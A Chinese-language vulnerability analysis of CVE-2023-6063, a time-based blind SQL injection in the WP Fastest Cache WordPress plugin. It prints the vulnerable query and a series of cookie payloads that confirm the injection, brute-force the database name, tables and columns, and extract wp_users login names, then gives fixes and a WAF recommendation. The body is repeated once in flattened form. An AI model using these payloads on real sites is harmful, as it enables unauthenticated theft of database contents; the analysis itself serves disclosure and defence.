漏洞分析 | Wordpress Fastest Cache插件SQL注入漏洞(CVE-2023-6063)
字数 1311 2025-08-18 11:36:36

WordPress Fastest Cache插件SQL注入漏洞(CVE-2023-6063)分析报告

漏洞概述

WP Fastest Cache是一个WordPress缓存插件,用于加速页面加载、改善访问者体验并提高网站在Google搜索上的排名。根据WordPress.org统计,使用WP Fastest Cache的网站已超过一百万个。

漏洞编号:CVE-2023-6063
漏洞类型:SQL注入
影响范围:WP Fastest Cache Plugin < 1.2.2版本
风险等级:高危
攻击复杂度:低
影响后果:未经身份验证的攻击者可读取站点数据库中的内容

受影响版本

  • WP Fastest Cache Plugin < 1.2.2

漏洞分析

漏洞定位

漏洞位于wpFastestCache.php文件中,具体在创建缓存的功能部分:

  1. cache()函数包含了inc/cahe.php
  2. 实例化了WpFastestCacheCreateCache
  3. 执行了类中的createCache()函数

漏洞根源

在SQL查询中,username参数直接拼接到了SQL语句中,没有进行任何检查和过滤措施。

核心SQL语句如下:

SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value` 
FROM `$wpdb->users` 
INNER JOIN `$wpdb->usermeta` 
ON `$wpdb->users`.`user_login` = \"$username\" 
AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" 
AND $wpdb->usermeta`.`meta_value` = \"10\" 
AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id;

攻击面分析

  1. username的值从cookie中获取,用户可控
  2. 该值直接拼接到SQL语句中执行
  3. 没有进行任何输入验证或过滤
  4. 攻击者可通过构造恶意cookie值实现SQL注入

漏洞利用

注入类型

该注入点属于基于时间的盲注,因为:

  • 不能直接回显错误信息或查询结果
  • 需要通过延时函数判断SQL语句是否执行成功

利用步骤

1. 验证注入点

构造payload使数据库延时执行:

root" AND sleep(5) and "1"="1

如果页面响应延迟5秒,则证明注入存在。

2. 探测数据库信息

判断数据库名称长度

root" AND if(length(database())=9,sleep(2),1) and "1"="1
  • 如果延时2秒,则数据库名称长度为9

爆破数据库名称

root" AND if(mid(database(),1,1)="w",sleep(1),1) and "1"="1
  • 使用mid()函数逐个字符爆破
  • 通过改变数字参数爆破每个字符

3. 爆破数据库表

获取第一个表名

root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1),1,1)="w", sleep(5),1) and "1"="1

获取第二个表名

root" AND if(mid((select table_name from information_schema.tables where table_schema = 'wordpress' limit 1,1),1,1)="w", sleep(5),1) and "1"="1

获取第N个表名
通过修改limit参数的值来获取不同位置的表名。

4. 爆破表字段

获取wp_users表的字段

root" AND if(mid((select column_name from information_schema.columns where table_name = 'wp_users' limit 1),1,1)="I", sleep(5),1) and "1"="1

5. 爆破字段值

获取wp_users表中user_login字段的值

root" AND if(mid((select user_login from wp_users limit 1),1,1)="r", sleep(5),1) and "1"="1

修复方案

  1. 升级插件:将WP Fastest Cache升级到最新版本(≥1.2.2)
  2. 输入验证:对cookie中的wordpress_logged_in值进行严格检查和过滤
  3. 参数化查询:使用预处理语句替代直接拼接SQL
  4. 最小权限原则:数据库用户应仅具有必要的最小权限

防护措施

  1. 网宿云WAF已支持对该漏洞的防护
  2. 建议部署Web应用防火墙(WAF)拦截SQL注入攻击
  3. 定期进行安全审计和漏洞扫描
  4. 实施数据库操作日志监控

总结

CVE-2023-6063是一个高危的SQL注入漏洞,允许未经认证的攻击者通过时间盲注技术逐步获取数据库中的敏感信息。由于WP Fastest Cache插件用户量庞大,该漏洞影响范围广泛。建议所有使用该插件的网站管理员立即升级到最新版本,并检查系统是否已遭受攻击。

WordPress Fastest Cache插件SQL注入漏洞(CVE-2023-6063)分析报告 漏洞概述 WP Fastest Cache是一个WordPress缓存插件,用于加速页面加载、改善访问者体验并提高网站在Google搜索上的排名。根据WordPress.org统计,使用WP Fastest Cache的网站已超过一百万个。 漏洞编号 :CVE-2023-6063 漏洞类型 :SQL注入 影响范围 :WP Fastest Cache Plugin < 1.2.2版本 风险等级 :高危 攻击复杂度 :低 影响后果 :未经身份验证的攻击者可读取站点数据库中的内容 受影响版本 WP Fastest Cache Plugin < 1.2.2 漏洞分析 漏洞定位 漏洞位于 wpFastestCache.php 文件中,具体在创建缓存的功能部分: cache() 函数包含了 inc/cahe.php 实例化了 WpFastestCacheCreateCache 类 执行了类中的 createCache() 函数 漏洞根源 在SQL查询中, username 参数直接拼接到了SQL语句中,没有进行任何检查和过滤措施。 核心SQL语句如下: 攻击面分析 username 的值从cookie中获取,用户可控 该值直接拼接到SQL语句中执行 没有进行任何输入验证或过滤 攻击者可通过构造恶意cookie值实现SQL注入 漏洞利用 注入类型 该注入点属于 基于时间的盲注 ,因为: 不能直接回显错误信息或查询结果 需要通过延时函数判断SQL语句是否执行成功 利用步骤 1. 验证注入点 构造payload使数据库延时执行: 如果页面响应延迟5秒,则证明注入存在。 2. 探测数据库信息 判断数据库名称长度 : 如果延时2秒,则数据库名称长度为9 爆破数据库名称 : 使用 mid() 函数逐个字符爆破 通过改变数字参数爆破每个字符 3. 爆破数据库表 获取第一个表名 : 获取第二个表名 : 获取第N个表名 : 通过修改 limit 参数的值来获取不同位置的表名。 4. 爆破表字段 获取wp_ users表的字段 : 5. 爆破字段值 获取wp_ users表中user_ login字段的值 : 修复方案 升级插件 :将WP Fastest Cache升级到最新版本(≥1.2.2) 输入验证 :对cookie中的 wordpress_logged_in 值进行严格检查和过滤 参数化查询 :使用预处理语句替代直接拼接SQL 最小权限原则 :数据库用户应仅具有必要的最小权限 防护措施 网宿云WAF已支持对该漏洞的防护 建议部署Web应用防火墙(WAF)拦截SQL注入攻击 定期进行安全审计和漏洞扫描 实施数据库操作日志监控 总结 CVE-2023-6063是一个高危的SQL注入漏洞,允许未经认证的攻击者通过时间盲注技术逐步获取数据库中的敏感信息。由于WP Fastest Cache插件用户量庞大,该漏洞影响范围广泛。建议所有使用该插件的网站管理员立即升级到最新版本,并检查系统是否已遭受攻击。